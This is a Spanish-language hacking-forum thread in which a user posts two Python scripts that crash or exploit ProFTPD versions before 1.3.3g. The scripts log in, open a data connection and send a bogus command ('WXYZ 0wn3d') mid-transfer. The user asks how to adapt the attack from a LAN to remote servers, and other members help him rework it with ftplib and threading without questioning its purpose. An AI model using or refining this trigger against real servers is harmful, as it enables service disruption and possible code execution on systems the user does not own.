elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Ayuda con script python
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con script python  (Leído 4,000 veces)
Xenomorfo77

Desconectado Desconectado

Mensajes: 61


Ver Perfil
Ayuda con script python
« en: 2 Mayo 2012, 06:00 am »

Hola, he encontrado la manera de explotar una vulnerabilidad en ProFTPD < 1.3.3g pero necesito ayuda para modificar los scripts. La vulnerabilidad reside en enviar un comando inexistente mientras se esta descargando un archivo lo que permite ejecutar codigo. Los scripts estan diseñados para hacerlo en una LAN pero quiero modificarlos para que sirva remotamente.

Este es el primer script:
Código
  1. #!/usr/bin/env python
  2.  
  3. # Parameters
  4. ftpClient = "192.168.1.11"
  5. ftpClientPort = "1025"
  6.  
  7. import socket
  8. import time
  9.  
  10. # Open a socket to receive data    
  11. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  12. s.bind((ftpClient,int(ftpClientPort)))
  13. s.listen(5)        
  14.  
  15. client, address = s.accept()
  16. print client.recv(2)
  17. time.sleep(5)
  18. print client.recv(1024)
  19. client.close()
  20.  
Crea una conexion de datos, lee 2 bytes y espera 5 segundos para que el 2º script envie el comando falso al servidor.

Aqui va el segundo script:

Código
  1. #!/usr/bin/env python
  2.  
  3. # Parameters
  4. ftpServer = "192.168.1.10"
  5. ftpServerPort = 21
  6. ftpUsername = "user"
  7. ftpPassword = "password"
  8. ftpClient = "192.168.1.11"
  9. ftpClientPort = "1025"
  10.  
  11. # Commands to trigger the segmentation fault.
  12. ftpCommands = """USER %s
  13. PASS %s
  14. SYST
  15. TYPE A
  16. PORT %s,%s
  17. RETR nada
  18. WXYZ 0wn3d
  19. QUIT
  20. """ % (ftpUsername, ftpPassword, ftpClient.replace('.',','), "%s,%s"%(("%04x"%int(ftpClientPort))[0:2],("%04x"%int(ftpClientPort))[2:4]))
  21.  
  22. import socket
  23.  
  24. # Open commands socket
  25. sc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  26. sc.connect((ftpServer,ftpServerPort))
  27.  
  28. # Will send FTP commands.
  29. for command in ftpCommands.split('\n'):
  30.    print sc.recv(1024),    
  31.    sc.send(command+'\r\n')
  32.    print command


Lo que quisiera modificar es el comando PORT que se envia por un PASV pero en el primer script no puedo poner una ip publica a ftpClient y no recoje los datos del puerto 1025. ¿Alguna manera de hacerlo? Aviso que no se programar en python pero si me dan una idea me pondre a intentarlo. Un saludo y Gracias.


Elektro H@cker: Usa el botón "insertar código" o el próximo código será eliminado. Salu2.


« Última modificación: 2 Mayo 2012, 06:10 am por EleKtro H@cker » En línea

Runex

Desconectado Desconectado

Mensajes: 192


http://tutogramacion.blogspot.com


Ver Perfil WWW
Re: Ayuda con script python
« Respuesta #1 en: 2 Mayo 2012, 07:27 am »

Si debes realizar 2 tareas, es decir descargar un archivo y mientras enviar un comando inexistente, deberás usar threading.

Por otra parte porque no utilizas ftplib?, en vez de utilizar sockets.

Puedes leerte la documentación en http://python.org/doc/

Un saludo :)


En línea

"No renunciaría al bambú.
Nunca renuciaría a ti.
No te compares con otros" "El me dijo:
El bambú tenía un propósito diferente al del
helecho, sin embargo eran necesarios y
hacían del bosque un lugar hermoso".
Xenomorfo77

Desconectado Desconectado

Mensajes: 61


Ver Perfil
Re: Ayuda con script python
« Respuesta #2 en: 2 Mayo 2012, 07:45 am »

Gracias Runex y perdona mi ignorancia pero la libreria ftplib hay que descargarla o ya viene en el sistema?
En línea

Xenomorfo77

Desconectado Desconectado

Mensajes: 61


Ver Perfil
Re: Ayuda con script python
« Respuesta #3 en: 2 Mayo 2012, 08:33 am »

Código
  1. #!/usr/bin/env python
  2.  
  3. import threading
  4. from ftplib import FTP
  5.  
  6. ftpIP=''
  7. ftpUser=''
  8. ftpPass=''
  9. ftpFilename=''
  10. i=0
  11. class ThreadC ( threading.Thread ) :
  12.  
  13. def run (self):
  14.  
  15.   ftp = FTP(ftpIP)
  16.           ftp.getwelcome()  
  17.   ftp.login(ftpUser,ftpPass)
  18.   ftp.retrbinary('RETR ' + ftpFilename)
  19.           i=1
  20.  
  21. class ThreadF ( threading.Thread ) :
  22.  
  23. def run (self):
  24.  
  25.          ftp.sendcmd('WXZY *Xenomorfo77/')
  26.  
  27.  
  28. ThreadC.start()
  29. if i == 1:
  30.   ThreadF.start()

Esto es lo que tengo por el momento ya que no tengo ni pajolera idea de python alguien me puede decir si voy bien encaminado? Tambien como hacer para iniciar el proceso F cuando el C este transfiriendo, ya que lo de i = 1, es una porqueria, me tira un error en TreadC.start() que argumento debo poner? Un saludo.
« Última modificación: 2 Mayo 2012, 11:41 am por Xenomorfo77 » En línea

Breixo

Desconectado Desconectado

Mensajes: 37



Ver Perfil WWW
Re: Ayuda con script python
« Respuesta #4 en: 3 Mayo 2012, 01:20 am »

Yo para utilizar threads en Python me gusta más hacerlo así:

Código
  1. import threading
  2.  
  3. def proceso1(argumento1,argumento2):
  4.      loquesea
  5.  
  6. def proceso2():
  7.      loquesea
  8.  
  9. thread1 = threading.Thread(target=proceso1,args=(argumento1,argumento2))
  10. thread2 = threading.Thread(target=proceso2)
  11.  
  12. thread1.start()
  13. thread2.start()
  14.  
  15.  

Para lo de la condición esa de i = 1, es algo un poco delicado porque los threads comparten las variables globales y hay que tener cuidado yo lo haría algo así

Código
  1. import threading,
  2.  
  3. class auxiliar:
  4.    def __init__(self,user,pwd)
  5.       self.ftp_user = user
  6.       self.ftp_pwd = pwd
  7.       self.condicion = 0
  8.  
  9.    def proceso1(self,argumento1,argumento2):
  10. //cuando vayas a acceder alguna variable global hay que utilizar locks para
  11. //que no casquen los threads, lo que hacen es apropiarde completamente de la cpu
  12. //hasta que el lock se libere.
  13.         lock = threading.Lock()
  14.         lock.acquire()
  15.         self.condicion = 1
  16.         lock.release()
  17.         loquesea
  18.  
  19.   def proceso2(self):
  20.         loquesea
  21.  
  22.   def ejecucion(self):
  23.        lock = threading.Lock()
  24.        thread1 = threading.Thread(target=self.proceso1,args=(argumento1,argumento2))
  25.        thread2 = threading.Thread(target=self.proceso2)
  26.        thread1.start()
  27.        lock.acquire()
  28. //En ven de un if tienes que poner un while para que se quede esperando a que se active la condicon
  29.        while(self.condicion == 0):
  30.            lock.release()
  31.            sleep(1)
  32.            lock.acquire()
  33.        lock.release()
  34.        thread2.start()
  35.  
  36. aux = auxiliar('user','pwd')
  37. aux.ejecucion()
  38.  
  39.  
« Última modificación: 3 Mayo 2012, 01:28 am por Breixo » En línea

Xenomorfo77

Desconectado Desconectado

Mensajes: 61


Ver Perfil
Re: Ayuda con script python
« Respuesta #5 en: 4 Mayo 2012, 02:13 am »

Gracias Breixo, la verdad esque no me he enterado de nada xD pero sin tener ni idea de python que mas se puede pedir,  cuando tenga tiempo me pondre a estudiarlo para entenderlo. He resuelto mi problema de forma cutre haciendo 2 scripts pero weno servir sirve asi que me quedo contento jajaja. Un saludo y gracias por contestar a los 2.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[python] ayuda con script ¨^^(SOLUCIONADO)
Scripting
EvilGoblin 3 3,708 Último mensaje 17 Abril 2010, 03:02 am
por Novlucker
Ayuda Python -script generador numerico-
Scripting
lithium93 2 3,423 Último mensaje 30 Octubre 2010, 00:17 am
por criskapunk
Recomendaciones, sugerencias script python
Scripting
Arnau27 1 3,520 Último mensaje 8 Septiembre 2011, 01:28 am
por S3kh
[Python] Little Script Codepad
Scripting
The Swash 0 2,253 Último mensaje 2 Noviembre 2011, 03:35 am
por The Swash
[Python] - Script que devuelva que caracter se repite mas [Ayuda]
Scripting
Pryato 1 2,449 Último mensaje 24 Noviembre 2013, 17:17 pm
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines